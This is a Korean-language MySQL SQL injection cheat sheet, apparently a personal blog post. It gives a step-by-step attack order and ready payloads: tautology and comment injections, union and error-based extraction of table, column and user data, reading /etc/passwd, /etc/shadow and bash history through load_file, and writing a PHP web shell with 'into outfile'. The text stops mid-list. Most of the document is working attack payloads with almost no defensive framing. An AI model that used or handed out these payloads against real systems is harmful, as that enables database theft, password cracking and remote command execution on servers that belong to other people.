Hyunmini

  # 테스트 순서

 1. 취약여부 확인 및 공격 기법 선택  

  1) Basic Injection               // 취약점 테스트

    ex)  no=1 and 1=1#

  2) Error Based Injection     // 데이터베이스 가져오기 가장 편함

    ex) no=-1'  (에러 메시지 출력 유무 확인)

  3) Union Injection               // 쿼리 하나당 결과 하나이상 가져올 수 있음 

    ex) no=-1 union select 1,2 --

          no=-1 union select 1,2,3 --

  4) Blind Injection                 // 쿼리8번에 1글자씩 가져옴. 느리고 툴이 필요함

    ex) no=1 and 1=1 #

          no=1 and 1=2 #

 2. 버전 확인

  - 4.0 이하와 4.1 이상 버전의 공격기법에 차이가 있음(4.0 이하는 subquery 불가 및  information_schema 미존재)

   ex) version(),  @@version 등 

 3. 테이블명 추출

  ex)  ' and 1,2,3, (select table_name from information_schema.tables limit 0,1),4 --

   output => userinfo

 4. 필드명 추출

  ex) ' and 1,2,3, (select column_name from information_schama.columns limit 0,1), 4 --

   output => uid

5. 데이터 추출

  ex) ' and 1,2,3, (select uid from userinfo limit 0,1), 4 --

   output => admin

 6. 접속 유저 및 파일 권한 확인

 7. OS Interaction 공격 시도

 - load_file('/etc/passwd')  ->  계정 및 홈폴더 등 확인

 - load_file('/etc/shadow')  - >  shadow 크랙 ->  크랙된 계정으로 서버 접근 시도

 - load_file('/root/.bash_history')  ->  명령어 확인, 간혹 mysql -U[user] -P[password]  등의 정보도 확인 가능

 - load_file('/.rhosts') -> 신뢰호스트 및 계정 확인, 서버 접근 시도

 - load_file('/etc/apache2/apache2.conf') ->  document root 폴더 확인, 기타 서비스 확인 등

 - select '<? system("$_GET['cmd']"); ?>' into outfile '/var/www/shell.php'   ->  www.vul.com/shell.php?cmd=id

 # Basic Injection

 1. String 

 ' and 1=1--

 ' or 'a'='a

 '='

 ' and 'c'='c

 ' and 1# 

 ' or '1

 ' or 1--+

 " or ""="

 "="

 '='

 '=0#

 2. Numeric 

 and 1=1#

 and 1

 and true = 1-- 

 and 1*1

 and 3-2

 =0

  # Comment

  #

  --

  /*  */ 

  -- 

  ;

  ; %00

  ` 

  # Error Based Injection

 mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;

 -> ERROR 1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key 'group_key' 

 ' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b)#

  # Union Injection

 1) 컬럼수 확인 

 ' union 1 --

 ' union 1,2 --

  # Basic Information

 select @@version       // 버전 

 select version()          // 버전

 select user()

 select system_user()

  # MySQL Function

 1. string

  mid()

  left()

  right()

  concat('a','b','c') = 'abc'

 2.